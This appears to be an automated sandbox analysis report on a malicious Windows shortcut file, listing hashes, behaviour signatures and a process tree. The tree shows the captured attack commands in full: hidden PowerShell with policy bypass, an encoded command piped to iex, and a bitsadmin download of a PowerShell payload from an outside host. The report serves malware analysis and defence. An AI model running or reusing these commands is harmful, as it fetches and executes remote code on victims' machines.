Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    12/06/2024, 15:10

General

  • Target

    a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk

  • Size

    3KB

  • MD5

    a11a90303a1542f465542239afc4ea60

  • SHA1

    5a460235ae007d26e6938870c81c3913d6dbd61d

  • SHA256

    8d7de3083012dd352a020eee216a6acdf08aed1a1f69cce481f7353274e4c82c

  • SHA512

    76096ca945c2c31d50c7daba6b7f140a8cda4d3b1bf411f4cc7fe10e151086cd2e0703f8b0b8f7ad181f6959491b6961ec27361eb9de8700a4958cac338e94b2

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2152
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -eP ByPass -nonI -c "&{powershell -wi"N "hi"dDen -c {$b7oc=findstr /s mrildkpased c:\users\*.lnk; "$b7oc" | iex}}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -wiN hidDen -encodedCommand JABiADcAbwBjAD0AZgBpAG4AZABzAHQAcgAgAC8AcwAgAG0AcgBpAGwAZABrAHAAYQBzAGUAZAAgAGMAOgBcAHUAcwBlAHIAcwBcACoALgBsAG4AawA7ACAAJABiADcAbwBjACAAfAAgAGkAZQB4AA== -inputFormat xml -outputFormat text
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2792
        • C:\Windows\system32\findstr.exe
          "C:\Windows\system32\findstr.exe" /s mrildkpased c:\users\*.lnk
          4⤵
            PID:2476
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /C echo 1 > C:\Users\Admin\AppData\Roaming\00000000-0000-0000-0000-000000000000\d & bitsadmin /transfer mrildkpased /download /priority FOREGROUND "https://internetmarketing4pros.com/marco/pro" C:\Users\Admin\AppData\Roaming\00000000-0000-0000-0000-000000000000\AxHMdTVikEOCgb.ps1 & del C:\Users\Admin\AppData\Roaming\00000000-0000-0000-0000-000000000000\d & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2988
            • C:\Windows\system32\bitsadmin.exe
              bitsadmin /transfer mrildkpased /download /priority FOREGROUND "https://internetmarketing4pros.com/marco/pro" C:\Users\Admin\AppData\Roaming\00000000-0000-0000-0000-000000000000\AxHMdTVikEOCgb.ps1
              5⤵
              • Download via BitsAdmin
              PID:2780

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2612-38-0x000007FEF55BE000-0x000007FEF55BF000-memory.dmp

      Filesize

      4KB

    • memory/2612-39-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

      Filesize

      2.9MB

    • memory/2612-41-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2612-42-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2612-43-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2612-40-0x0000000001F30000-0x0000000001F38000-memory.dmp

      Filesize

      32KB

    • memory/2612-44-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2612-45-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2612-51-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2612-52-0x000007FEF55BE000-0x000007FEF55BF000-memory.dmp

      Filesize

      4KB